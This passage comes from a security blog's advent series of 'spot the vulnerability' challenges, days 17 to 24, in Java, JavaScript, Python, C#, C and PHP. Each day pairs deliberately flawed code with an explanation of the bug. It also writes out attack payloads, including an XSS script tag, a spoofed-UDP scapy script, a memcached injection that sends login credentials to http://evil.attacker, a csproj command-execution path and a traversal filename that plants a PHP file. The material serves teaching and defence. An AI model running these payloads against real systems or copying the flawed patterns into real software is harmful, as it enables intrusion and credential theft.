11 url = request.form.get('url',
12 'https://github.com/package-url/purl-spec.git')
13 what = request.form.getlist('what[]')
14 with TemporaryDirectory() as local:
15 if not url.startswith(('https://', 'http://')):
16 return make_response('Invalid url!', 403)
17 _git('clone', ['--', url, local])
18 res = []
19 for i in what:
20 file, lines = i.split(':')
21 res.append(_git('blame', ['-L', lines, file], local))
22 return make_response('\n'.join(res), 200)
23
This challenge is heavily inspired by [https://blog.sonarsource.com/securing-developer-tools-git-integrations/](Securing Developer Tools: Git Integrations), as well as another vulnerability we identified in real-world software.
This publication demonstrated how invoking git
in an untrusted folder results in the execution of arbitrary commands. However, this behavior requires control over the repository configuration, which is not the case here since it's obtained with git clone
.
The argument injection during the call to git blame
becomes handy. While not documented in the manual pages, git blame
also supports an --output
parameter, as many other git commands
.
It gives a very limited primitive: we can either create empty files or truncate existing ones. By truncating .git/HEAD
, the local repository becomes invalid.
Git now looks for it at other locations, including bare repositories in the current folder. If the right files are already planted in the top-level directory, the next invocation of git blame
will use it and its potentially malicious configuration.
You can find our proof-of-concept in SonarSource/csac2022-git-blame, and this issue in SonarCloud.
Day 17: Java
Can you spot the vulnerability?
Main.java:
1HttpServer srv = HttpServer.create(new InetSocketAddress(9000), 0);
2srv.createContext("/", new HttpHandler() {
3 @Override
4 public void handle(HttpExchange he) throws IOException {
5 String comments = "<!DOCTYPE html>\n<html><head><title>Comments</title></head><body><table>";
6 try (Statement stmt = Main.conn.createStatement()) {
7 ResultSet rs = stmt.executeQuery("SELECT * FROM comments");
8 while (rs.next()) {
9 comments += "<tr><td>" + rs.getString("comment") + "</td></tr>";
10 }
11 } catch (SQLException e) {
12 Main.response(he, 500, "Internal Server Error");
13 }
14 Main.response(he, 200, comments + "</table></body></html>");
15 }
16});
17
18srv.createContext("/comment", new HttpHandler() {
19 @Override
20 public void handle(HttpExchange he) throws IOException {
21 try (var stmt = Main.conn.prepareStatement("INSERT INTO comments (comment) VALUES (?)")) {
22 Source comment = new StreamSource(he.getRequestBody());
23 Source xslt = new StreamSource(Thread.currentThread().getContextClassLoader().getResourceAsStream("comment.xslt"));
24 TransformerFactory tf = TransformerFactory.newInstance();
25 tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
26 tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
27 Transformer transformer = tf.newTransformer(xslt);
28 StringWriter writer = new StringWriter();
29 transformer.transform(comment, new StreamResult(writer));
30 stmt.setString(1, writer.getBuffer().toString());
31 stmt.executeUpdate();
32 Main.response(he, 200, "Ok");
33 } catch (Exception e) {
34 Main.response(he, 500, "Internal Server Error");
35 }
36 }
37});
38srv.start();
39
comment.xslt:
1<?xml version="1.0" encoding="UTF-8"?>
2<xsl:stylesheet version="1.0"
3 xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
4 <xsl:output method="html" />
5 <!-- Allow the following tags: <b>, <i> and <u> -->
6 <xsl:template match="//b | //i | //u">
7 <xsl:element name="{local-name()}">
8 <xsl:value-of select="."/>
9 </xsl:element>
10 </xsl:template>
11 <!-- Allow links to https://example.com -->
12 <xsl:template match="//*[@href]">
13 <xsl:element name="{local-name()}">
14 <xsl:attribute name="href">
15 <xsl:choose>
16 <xsl:when test="starts-with(@href, 'https://example.com/')">
17 <xsl:value-of select="@href"/>
18 </xsl:when>
19 <xsl:otherwise>/</xsl:otherwise>
20 </xsl:choose>
21 </xsl:attribute>
22 <xsl:value-of select="."/>
23 </xsl:element>
24 </xsl:template>
25</xsl:stylesheet>
26
User comments are converted to HTML using an XSLT template, which aims to prevent Cross-Site Scripting attacks. The XSLT only allows certain HTML tags (<b>
, <i>
, and <u>
). Also, links (<a href="...">
) to https://example.org
should be allowed, which is done by filtering all elements with an href
attribute.
However, when a href
attribute is present, no restriction is applied to the tag name, resulting in an XSS by inserting comments like <script href="/">alert(document.domain);</script>
.
This vulnerability is similar to a real-life vulnerability we discovered in Horde Webmail. Check out the blog post for more details: Horde Webmail 5.2.22 - Account Takeover via Email.
Day 18: JavaScript
Can you spot the vulnerability?
1const csrfProtect = require('csurf')({ cookie: true });
2app.use(session({
3 secret: process.env.SECRET,
4 cookie: {
5 secure: true,
6 sameSite: 'none',
7 },
8}));
9
10app.post('/upload', parseForm, csrfProtect, async (req, res) => {
11 const f = req.files.template;
12 if (path.extname(f.name) !== '.txt') {
13 return res.status(400).send();
14 }
15 const id = uuid.v4();
16 await f.mv(`public/uploads/${id}`);
17 return res.json({id});
18});
19
20app.get('/exportPDF', csrfProtect, async (req, res) => {
21 if (!req.query.id) {
22 return res.status(400).send();
23 }
24 const id = path.basename(req.query.id);
25 const dst = `public/export/${id}.pdf`;
26 const f = buildForm(`public/uploads/${id}`).replaceAll('{csrf_token}', req.csrfToken());
27 await fs.writeFile(dst, f);
28 return res.send(`<a href="${escape(dst)}">Your PDF!<a>`);
29});
30
The goal of this challenge is to bypass the CSRF protection, allowing CSRF attacks against any endpoint.
The /exportPDF
endpoint can be used to export an uploaded text file as a PDF form. The CSRF token of the current user is written to the exported file by replacing {csrf_token}
with the actual value. However, the csurf
middleware does not protect GET
requests, allowing the /exportPDF
endpoint to be triggered via CSRF.
To invoke the endpoint, the id
of an uploaded file has to be known to the attacker. They cannot be guessed because they are randomly generated, but it is possible for any user to export any file. An attacker can abuse this by uploading a file themselves and then making another user export that file. Afterwards, the file can be downloaded by the attacker and the contained CSRF token can be extracted.
An example attack may look like this:
- Upload a file via
/upload
and get anid
- CSRF the admin and request
/exportPDF?id={id}
with theid
from step 1 - Download the exported PDF file via
/export/{id}.pdf
and extract the leaked CSRF token of the admin user - Use the leaked token to launch further CSRF attacks against the admin, performing privileged actions
Day 19: Python
Can you spot the vulnerability?
1def is_their_service_broken(url: str) -> bool:
2 try:
3 host = requests.utils.urlparse(url).hostname
4 res = socket.gethostbyname(host)
5 except socket.gaierror:
6 return False
7 return not ipaddress.ip_address(res).is_private
8
9@app.route('/avatar/<string:avatar>')
10def fetch_avatar(avatar: str) -> Response:
11 avatar = f'http://unstable-avatar-service.tld{avatar}'
12 # This service is still in development and their DNS sometimes
13 # point to their own internal network, make sure it's OK
14 if not is_their_service_broken(avatar):
15 hash = md5(avatar.encode("ascii")).hexdigest()
16 avatar = f'http://www.gravatar.com/avatar/{hash}'
17 res = requests.get(avatar, stream=True, timeout=1)
18 return make_response(
19 stream_with_context(res),
20 res.status_code,
21 {'Content-Type': 'image/png'}
22 )
23
This new feature introduced a Server-Side Request Forgery vulnerability. While the developer added a validation function that would prevent any request to a private (i.e., local) IP address, this implementation suffers from a race condition.
First, the hostname is resolved to validate the associated IP address, leading to a first DNS request. Then, request.get()
sends a second DNS request to identify the server which should receive the request.
Meanwhile, the resolved IP address could have changed from a public one, accepted by is_their_service_broken()
, to
a private one, pointing to an internal service! The IP rotation can be performed by delegating your own DNS zone
to a self-hosted DNS server or existing services like rbndr.us
.
The final payload could look like http://challenge/avatar/:x@0a004a8c.01010101.rbndr.us:1234
. After a few tries,
the internal service at 10.0.74.140:1234
will receive an HTTP request it shouldn't have.
We identified this code pattern in almost every popular application, with varying degrees of impact. For instance, WordPress was vulnerable, but several restrictions made it hard to exploit in a generic way; we documented it in WordPress Core - Unauthenticated Blind SSRF.
Day 20: C#
Can you spot the vulnerability?
1// Start log server
2Socket socket = new Socket(
3 AddressFamily.InterNetwork,
4 SocketType.Dgram,
5 ProtocolType.Udp);
6socket.SetSocketOption(
7 SocketOptionLevel.IP,
8 SocketOptionName.ReuseAddress,
9 true);
10socket.Bind(new IPEndPoint(IPAddress.Parse("0.0.0.0"), 1337));
11
12const int bufSize = 1024;
13byte[] buffer = new byte[bufSize];
14EndPoint epFrom = new IPEndPoint(IPAddress.Any, 0);
15AsyncCallback recv = null;
16socket.BeginReceiveFrom(buffer, 0, bufSize, SocketFlags.None, ref epFrom, recv = (ar) =>
17{
18 int receivedBytes = socket.EndReceiveFrom(ar, ref epFrom);
19 IPEndPoint src = epFrom as IPEndPoint;
20 if (IsInRange(src.Address, "10.13.37.0/24"))
21 {
22 ConsumeLogMessage(epFrom, buffer, receivedBytes);
23 }
24 socket.BeginReceiveFrom(buffer, 0, bufSize, SocketFlags.None, ref epFrom, recv, buffer);
25}, buffer);
26
In the first lines, a UDP socket is opened on all interfaces on port 1337. In the next lines, a callback is defined that will be called every time a new UDP packet arrives. The overall functionality of the challenge appears to be a log ingestion server that receives and processes log messages via UDP.
Every UDP packet is validated to be from within a specific IP address range. In this case, 10.13.37.0/24
does not contain public IP addresses. The problem here is that the UDP protocol does not provide any guarantees regarding the source of any packet. TCP for example has a handshake mechanism that makes it very unlikely that an attacker can guess certain values and establish a session.
Since UDP lacks this protection, the IP range check can be bypassed with the following script:
1from socket import gethostbyname
2from scapy.all import *
3
4ip = IP(dst=gethostbyname('victim.tld'), src='10.13.37.42')
5udp = UDP(sport=1337, dport=1337)
6payload = 'injected log message'
7packet = ip / udp / payload
8send(packet)
9
Note that such an attack is usually not possible over the internet because regular ISPs will filter out such spoofed packets. There are, however, some shady server hosters that allow IP spoofing, so it should still be expected to be possible when developing IP-based access control.
Day 21: Java
Can you spot the vulnerability?
1MemcachedConnector mcc = new MemcachedConnector("memcached", 11211);
2mcc.set("welcome_en", "Hi there!");
3mcc.set("welcome_de", "Hallo!");
4mcc.set("welcome_fr", "Bonjour!");
5mcc.set("auth_backend", "http://192.168.64.2:8000/");
6
7HttpServer srv = HttpServer.create(new InetSocketAddress(9000), 0);
8
9srv.createContext("/", (HttpExchange he) -> {
10 String lang = "en";
11 if (he.getRequestURI().getQuery() != null) {
12 for (String param : he.getRequestURI().getQuery().split("&")) {
13 String[] entry = param.split("=");
14 if (entry[0].equals("lang")) lang = entry[1];
15 }
16 }
17 String welcomeMessage = mcc.get("welcome_" + lang);
18 Main.response(he, 200, welcomeMessage);
19});
20
21srv.createContext("/login", (HttpExchange he) -> {
22 try {
23 JSONParser jsonParser = new JSONParser();
24 JSONObject jsonObject = (JSONObject)jsonParser.parse(new InputStreamReader(he.getRequestBody(), "UTF-8"));
25 String authBackend = mcc.get("auth_backend");
26 String body = "username=" + jsonObject.get("username") + "&password=" + jsonObject.get("password");
27 HttpClient httpClient = HttpClient.newHttpClient();
28 HttpRequest req = HttpRequest.newBuilder().uri(URI.create(authBackend))
29 .POST(HttpRequest.BodyPublishers.ofString(body))
30 .headers("Content-Type", "application/x-www-form-urlencoded").build();
31 HttpResponse<String> resp = httpClient.send(req, HttpResponse.BodyHandlers.ofString());
32 if (resp.statusCode() == 200) {
33 Main.response(he, 200, "Welcome!\n");
34 return;
35 }
36 } catch (Exception exp) { }
37 Main.response(he, 403, "Login failed!\n");
38});
39
40srv.start();
41
The application inserts the user-provided URL query parameter lang
into a memcached query:
1String welcomeMessage = mcc.get("welcome_" + lang);
2
When passing the parameter lang=en
, the corresponding memcached query looks like this:
get welcome_en\r\n
By injecting a carriage return and a linefeed character, additional queries to the memcached server can be issued. When a user tries to log in, the backend server responsible for the authentication is also retrieved via memcached:
1String authBackend = mcc.get("auth_backend");
2
The credentials entered by a user are forwarded to this backend server. If an attacker injects an additional query to set the auth_backend
key to an attacker-controlled server, the credentials are sent to this server when a user tries to log in.
The following request sets the auth_backend
key to http://evil.attacker
:
GET /?lang=en%0d%0aset%20auth_backend%200%200%2020%0d%0ahttp://evil.attacker
If a user tries to log in now, their credentials are forwarded to http://evil.attacker
.
This vulnerability is very similar to a real-life vulnerability we discovered in Zimbra. Check out the blog post: Zimbra Email - Stealing Clear-Text Credentials via Memcache injection.
Day 22: C#
Can you spot the vulnerability?
1[HttpPost]
2public string DummyBuild()
3{
4 // note: users can create files and subdirs in their project dir
5 string src = GetCurrentUserProjectDir();
6 var sources = Directory.GetFiles(src, "*.cs", SearchOption.AllDirectories)
7 .ToList()
8 .Select(x => @$"<None Include=""{x}"" />");
9
10 string tmpDir = CreateTmpDir();
11 System.IO.File.WriteAllText(Path.Combine(tmpDir, "app.csproj"), $@"
12<Project Sdk=""Microsoft.NET.Sdk"">
13<PropertyGroup><TargetFramework>net6.0</TargetFramework></PropertyGroup>
14<ItemGroup>{string.Join(Environment.NewLine, sources)}</ItemGroup>
15</Project>");
16
17 var process = new System.Diagnostics.Process();
18 process.StartInfo = new System.Diagnostics.ProcessStartInfo
19 {
20 WorkingDirectory = tmpDir,
21 FileName = "dotnet",
22 Arguments = "build",
23 RedirectStandardOutput = true,
24 };
25 process.Start();
26 var output = process.StandardOutput.ReadToEnd();
27 process.WaitForExit();
28
29 CleanUp(tmpDir);
30 return output;
31}
32
The DummyBuild()
function creates an XML file based on a list of file paths. These paths are inserted into a template XML string as-is, without any escaping. Since users can create arbitrary files and sub-directories within their project directory, they can craft paths that contain special XML characters such as quotes ("
) and angle brackets (<
, >
). Note that this does not work on Windows, because those characters are reserved and cannot be used in file paths.
This allows them to inject arbitrary XML elements into the file that is being written. That file is then used as a .NET project file by running the dotnet build
command in the directory that it is located in. To execute arbitrary commands, an attacker would create a new <Target>
inside the project with an <Exec>
command.
The following file path is an example that would execute the command id
:
"/></ItemGroup><Target Name="Pwn" BeforeTargets="Build"><Exec Command="id"/></Target><ItemGroup><None Include="/tmp/foo.cs
Creating this file results in the following directory structure:
<user-dir>
└── "
└── ><
└── ItemGroup><Target Name="Pwn" BeforeTargets="Build"><Exec Command="id"
└── ><
└── Target><ItemGroup><None Include="
└── tmp
└── foo.cs
The resulting app.csproj
file will therefore have this content (we added formatting for better readability):
1<Project Sdk="Microsoft.NET.Sdk">
2 <PropertyGroup>
3 <TargetFramework>net6.0</TargetFramework>
4 </PropertyGroup>
5 <ItemGroup>
6 <None Include="" />
7 </ItemGroup>
8 <Target Name="Pwn" BeforeTargets="Build">
9 <Exec Command="id" />
10 </Target>
11 <ItemGroup>
12 <None Include="/tmp/foo.cs" />
13 </ItemGroup>
14</Project>
15
When the dotnet build
command gets executed, the dotnet
CLI will run the Pwn
target before the actual build. This results in the execution of the attacker-supplied id
command and its output will be sent back to the attacker in the HTTP response.
Day 23: C
Can you spot the vulnerability?
1// I found this URL parser on stackoverflow, it should be good enough
2bool validate_domain(const char *url) {
3 char domain[100];
4 int port = 80;
5 sscanf(url, "https://%99[^:]:%99d/", domain, &port);
6 return strcmp("internal.service", domain) == 0;
7}
8
9int main(int argc, char **argv) {
10 // [...]
11 const char *url = argv[1];
12
13 if (!validate_domain(url)) {
14 printf("validate_domain failed\n");
15 return 1;
16 }
17
18 if ((curl = curl_easy_init())) {
19 curl_easy_setopt(curl, CURLOPT_URL, url);
20 res = curl_easy_perform(curl);
21 switch(res) {
22 case CURLE_OK:
23 printf("All good!\n");
24 break;
25 default:
26 printf("Nope :(\n");
27 break;
28 }
29 }
30 // [...]
31}
32
The implementation of the URL parsing in validate_domain()
is much simpler than what's described in standards
like RFC2396 and RFC3986.
Meanwhile, libcurl
implements a much broader implementation. As a result, both may treat the same result differently.
This dangerous code pattern is called a URL parsing differential.
We documented a similar case between two parsers, Apache's apr
one and the slightly different implementation in most
browsers, in Security Implications of URL Parsing Differentials.
Requests can be sent to unintended hosts with payloads like https://internal.service:@very-sensitive-internal.service/
.
Day 24: PHP
Can you spot the vulnerability?
1define('UPLOAD_FOLDER',
2 sys_get_temp_dir().DIRECTORY_SEPARATOR.'uploads'.DIRECTORY_SEPARATOR);
3
4function validateFilePath($fpath) {
5 // Prevent path traversal
6 if (str_contains($fpath, '..'.DIRECTORY_SEPARATOR)) {
7 http_response_code(403);
8 die('invalid path!');
9 }
10}
11
12function uploadFile($src, $dest) {
13 $path = dirname($dest);
14 if (!file_exists($path)) {
15 mkdir($path, 0755, true);
16 }
17 move_uploaded_file($src, $dest);
18}
19
20function normalizeFilePath($fpath) {
21 if (strpos($_SERVER['HTTP_USER_AGENT'], 'Windows')) {
22 return str_replace('\\', '/', $fpath);
23 }
24 return $fpath;
25}
26
27$src = $_FILES['file']['tmp_name'];
28$dest = UPLOAD_FOLDER.$_FILES['file']['full_path'];
29validateFilePath($dest);
30uploadFile($src, normalizeFilePath($dest));
31echo 'file uploaded!';
32
The user can upload arbitrary files. The destination path of this file is determined by concatenating the upload folder's base path with the user-provided filename. The code checks the filename for occurrences of the string ../
to prevent any risk of path traversal.
After this check, the destination path is normalized. If the user's OS is Windows (determined by the User-Agent), backslashes (\
) in the path are replaced by forward slashes (/
). Thus it is possible to traverse out of the upload base folder by using \..
and providing a Windows User-Agent.
Assuming the web root to be /var/www/html/
an attacker can upload a PHP file with the name ..\..\var\www\html\evil.php
and insert the string Windows
in the User-Agent. The validateFilePath
function will not raise an error, because the filename does not contain the string ../
. The normalization performed by normalizeFilePath
will change the backslashes (\
) into forward slashes (/
).
Thus the filename becomes ../../var/www/html/evil.php
, and the malicious PHP file will be placed in the web root. Accessing this file executes the attacker-inserted PHP code.
This vulnerability is very similar to a real-life vulnerability we discovered in Rarlab's unrar
: Unrar Path Traversal Vulnerability affects Zimbra Mail.